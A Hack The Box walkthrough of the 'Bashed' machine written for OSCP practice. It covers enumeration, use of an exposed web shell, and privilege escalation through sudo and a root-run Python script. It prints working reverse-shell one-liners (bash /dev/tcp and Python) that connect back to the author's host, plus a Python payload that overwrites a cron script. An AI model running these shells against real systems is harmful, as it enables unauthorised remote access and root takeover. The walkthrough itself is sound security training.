Hack The Box — Bashed — without Metasploit (TJNull’s list for OSCP)
This is my first write-up of all time. And I will continue write-ups that will follow TJNull’s list of HackTheBox machines for OSCP Practice. The full list can be found here.
In a general penetration test or a CTF, there are usually 3 major phases that are involved.
- Enumeration and Scanning (Information Gathering).
- Initial Foothold.
- Privilege Escalation.
Let’s get started with the box!
Enumeration and Scanning
NMAP
In order to hack into a system we need to first gather some information about it. For that, we use Nmap to scan the ports of the target machine to find out what services are running; services that we can target.
nmap -sC -sV -A -T4 10.129.253.140
- -sC is used to run default scripts to enumerate the services further.
- -sV is used for Version enumeration of the services
- -A is used for aggressive (not usually recommended in real environment)
- -T4 is used to set the number of parallel threads.
By running a quick port scan for default ports on the target, we found out that port 80 is open and running an Apache Server 2.4.18.
We only got 1 service that’s running. So we may need to run a full port scan in the background while we enumerate the web application running on port 80. (However, it didn’t show any more open ports.)
nmap -sC -sV -A -T4 -p- 10.129.253.140
- -p- flag is used to scan all ports from 1 to 65535
Web App Enumeration
First, let’s visit the web application that’s running on the target’s default HTTP port.
On the website’s home page, we see an article for “phpbash”. The description indicates that this Php shell was actually developed on this server. Let’s open this article.
On this article page, we find the link to GitHub repository for this Php shell. By looking at the screenshots on this repository we see the URL.
Let’s try navigating to /uploads/phpbash.php on our target server.
The web shell does not exist on this location at least.
Let’s try running a directory buster to brute force potential directories on the web server.
Gobuster is the tool that can be used to do this job.
gobuster dir -t 10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.129.253.140
- dir uses directory/file brute forcing mode.
- -t flag is used to set number of parallel threads. (10 in this case)
- -w flag is used to specify the wordlist to be used for brute forcing.
- -u flag is used to specify the target URL.
After running gobuster for a little while we find out some directories. There we can see a “/dev” directory.
Initial Foothold
Since the article said that phpbash shell was ‘developed’ on this server. My wild guess was to look at the /dev directory first. Let’s visit that directory and see what do we have.
Here we can see that we have phpbash.php. Let’s navigate to this php file.
We have a web shell running on Bashed with user www-data. Now we need to elevate our privileges, but first it would be better if we get a reverse shell to our machine.
It’s always a best practice to get a reverse shell on your terminal. The web shells are usually not interactive shells and we can’t run commands that require run-time user interaction. Also, there’s always a possibility that the developers or sys-admins may figure out their mistake and patch it by removing the web shell. (And that’s the last thing we want).
/bin/bash -l > /dev/tcp/10.10.16.20/8080 0<&1 2>&1
- 10.10.16.20 is my HackTheBox VPN IP address
- 8080 is the port I chose to listen on.
But this doesn’t work because of some unknown reason. We didn’t receive a connection back from the target. Let’s try a different shell, maybe python if it’s installed on the target system. Let’s use ‘which’ command on the web-shell to check if python is installed.
Python seems to be installed on the target. Let’s give it a one-liner Python reverse shell.
python -c ‘import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.16.20”,8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(“/bin/bash”)’
And we got a reverse shell. We have the initial foothold in the box. Let’s read the user flag from the home directory.
Privilege Escalation
If you are new to Penetration Testing or CTFs, you should know that when we exploit a service or a process that’s been running on the target to get a shell; we get the shell as the user that was running that service or process. So in order to privilege escalate we need to look for services or process that are running or can be run as high privilege user.
First let’s see what user accounts does the target system have. For that we can read the contents of ‘/etc/passwd’ file.
cat /etc/passwd
Along with root, there are 2 more users; arrexel and scriptmanager that the target system has.
sudo -l
This command lists the all the command that the current user can run as a different user.
The result above shows that the current user www-data can run all commands as scriptmanager user without any password. Let’s try it.
sudo -u scriptmanager whoami
- -u flag is used to specify the user to run the command as.
Let’s spawn a shell with scriptmanager.
sudo -u scriptmanager bash
We now have a terminal session as scripmanager.
After doing a little enumeration on the machine we can see that there’s a scripts directory owned by scripmanager, in the root directory.
Inside /scripts directory we have 2 files:
- test.py
- test. txt
test.py is owned by scriptmanager whereas, test.txt is owned by root. By looking at the permission of test.txt (-rw-r — r — ) we know that this file is only writable by root user.
One thing more to notice is that the script test.py was last modified in 2017 where as the test.txt file was modified on 03:12.
If we check the current time using the date command.
Current time is also 03:12, which means that the file has been modified recently. And we know that only root can modify that file, by connecting the dots we can deduce that maybe this file is being modified by a root process running in the background. We can confirm this by checking the time of file modification few more times.
Let’s check the contents of test.py.
By reviewing the code we can see that this python script is opening the test.txt file (the one from the current directory, since no path is provided.) and writing ‘testing 123!’ into it.
No if we look at the contents of test.txt.
It has the data that is being written by test.py.
Let’s put everything together;
- test.txt file is not writable by any other user.
- test.txt file is being modified periodically.
- Finally there’s a python script that’s writing some data in the test.txt file that only root can modify.
By connecting all the dots we can assume that python script test.py is being run by root periodically. However, we can modify the contents of test.py and replace it with something else. If we do that, the root user will run the script and we would be able to run any code as root.
Modifying the file is a bit glitchy and difficult since we don’t have nano installed (and I don’t particularly like vi, lol).
I will create a file on my kali attacking machine and upload it to the scripts folder on the target. Then I can read this new file and redirect the output into test.py to modify it’s content.
Let’s create a Python reverse shell on my kali machine. We can use the same one-liner reverse shell and change the semicolons with new lines.
import socket,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((“10.10.16.20”,8085))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn(“/bin/bash”)
Save it as a python file and run http server to serve the file through http.
python -m http.server 80
Download this file on the target using wget.
Now I can read this reverse shell and redirect the output to test.py to modify it.
cat rev.py > test.py
Let’s start a listener on our kali on port 8085 and wait for the script to execute.
After waiting for a minute, we get a root shell!
Now we can read the root flag to submit.
